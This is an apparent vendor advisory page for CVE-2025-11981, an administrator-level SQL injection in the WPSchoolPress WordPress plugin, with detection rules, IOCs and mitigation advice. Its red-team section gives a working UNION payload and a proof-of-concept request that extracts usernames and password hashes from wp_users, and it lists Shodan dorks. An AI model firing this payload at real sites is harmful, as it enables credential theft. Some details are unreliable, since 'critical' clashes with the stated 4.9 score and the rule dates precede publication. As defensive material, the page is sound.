☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-11981

CVE-2025-11981 SQL Injection in Wpschoolpress
📅 PUBLISHED: 2025-11-14 11:20 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
4.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-11981 is a critical SQL Injection vulnerability discovered in the WPSchoolPress WordPress plugin, specifically within the School Management System. The flaw resides in the SCodes parameter, which is insufficiently sanitized before being used in SQL queries. This allows authenticated attackers with administrator-level privileges to inject arbitrary SQL commands, potentially leading to the extraction of sensitive data from the WordPress database, including user credentials, personal information, and other confidential records.

As a WordPress plugin vulnerability, this issue directly impacts the WordPress ecosystem and does not involve underlying web server software like Apache or Nginx. The vulnerability affects all versions up to and including 2.2.23, and as of this report, no official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WPSchoolPress plugin is distributed through the official WordPress plugin repository and third-party marketplaces. Organizations using this plugin should treat it as a critical supply chain risk, as the unpatched state means any deployment is inherently vulnerable. Administrators should monitor the plugin’s update channel and consider temporary removal or strict access controls until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.9 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Administrator)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate due to the high privilege requirement, the potential for data exfiltration makes this a serious concern for any organization using the plugin. An attacker with admin access can extract the entire database, including password hashes and user data.

Deep Dive & Mechanics

The vulnerability exists in the SCodes parameter handling within the WPSchoolPress plugin. The plugin fails to properly escape user-supplied input and does not prepare SQL statements correctly, leading to a classic SQL injection flaw.

Root Cause: The SCodes parameter is directly concatenated into an SQL query without using prepared statements or proper sanitization. This allows an authenticated administrator to inject SQL commands by crafting malicious input.

Attack Flow:

  1. An attacker gains administrator-level access to the WordPress site (e.g., through credential theft, social engineering, or other means).
  2. The attacker navigates to a vulnerable endpoint that processes the SCodes parameter.
  3. The attacker injects SQL payloads into the SCodes parameter, such as ' OR '1'='1 or more complex UNION-based queries.
  4. The injected SQL is executed against the database, allowing the attacker to extract sensitive information.

Impact: Successful exploitation can lead to the disclosure of the entire WordPress database, including user tables, post content, and configuration data. This can be used for further attacks, such as privilege escalation or lateral movement within the network.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on best practices.

Vulnerable Code (Conceptual):

$scodes = $_POST['SCodes'];
$query = "SELECT * FROM wp_students WHERE code = '$scodes'";
$result = $wpdb->get_results($query);

Patched Code (Conceptual):

$scodes = sanitize_text_field($_POST['SCodes']);
$query = $wpdb->prepare("SELECT * FROM wp_students WHERE code = %s", $scodes);
$result = $wpdb->get_results($query);

The patched version uses $wpdb->prepare() to parameterize the query, preventing SQL injection. Additionally, input is sanitized using sanitize_text_field().

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with WPSchoolPress plugin version <= 2.2.23
  • Administrator credentials

Exploitation Steps:

  1. Log in to WordPress as an administrator.
  2. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wpsp_get_students).
  3. Craft a POST request with the SCodes parameter containing SQL injection payload.

Example Payload:

' UNION SELECT user_login, user_pass, user_email FROM wp_users --

Proof-of-Concept Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: [admin session cookie]

action=wpsp_get_students&SCodes=' UNION SELECT user_login, user_pass, user_email FROM wp_users --

Expected Output: The response will include user credentials from the wp_users table.

Blue Team

Detection:

  • Monitor for unusual SQL queries in database logs.
  • Look for POST requests to admin-ajax.php with suspicious SCodes parameters containing SQL keywords (e.g., UNION, SELECT, OR).
  • Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Hunting:

  • Search for SCodes parameter in HTTP logs and inspect for non-alphanumeric characters.
  • Correlate with administrator account activity to identify potential compromised accounts.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /wp-admin/admin-ajax.php with action=wpsp_get_students and SCodes parameter containing SQL syntax.
    • Outbound database queries containing UNION, SELECT, or FROM in unexpected contexts.
  • Host IOCs:

    • Unusual entries in WordPress database logs.
    • Modified or new administrator accounts.
    • Presence of SQL injection tools or scripts on the server.
  • File IOCs:

    • Suspicious entries in wp-content/debug.log indicating SQL errors.
    • Modified plugin files in /wp-content/plugins/wpschoolpress/.

Detection Engineering

YARA Rule

rule CVE_2025_11981_WPSchoolPress_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting WPSchoolPress SCodes parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11981"
    strings:
        $s1 = "SCodes" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "wp_users" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s1 and $s5)
}

Sigma Rule

title: CVE-2025-11981 WPSchoolPress SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against WPSchoolPress SCodes parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11981
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wpsp_get_students'
        cs-uri-query|contains: 'SCodes='
        sc-status: 200
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'FROM'
        - 'OR'
        - 'AND'
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11981 WPSchoolPress SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wpsp_get_students"; http_client_body; content:"SCodes="; http_client_body; pcre:"/(UNION|SELECT|FROM|OR|AND)/Ri"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Plugin: If the plugin is not critical, deactivate and delete it until a patch is available.
  2. Restrict Admin Access: Limit administrator accounts to only trusted users and enforce strong passwords and multi-factor authentication.
  3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns in the SCodes parameter.

Long-Term Fix:

  • Vendor Patch: Await an official update from WPSchoolPress. Monitor their website or WordPress plugin repository for version 2.2.24 or later.
  • Code Hardening: If you have access to the source code, apply parameterized queries using $wpdb->prepare() and sanitize all user inputs.

Workaround:

  • Implement a custom filter in WordPress to block requests containing SQL keywords in the SCodes parameter.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WPSchoolPress"
http.html:"wp-content/plugins/wpschoolpress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-11981/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.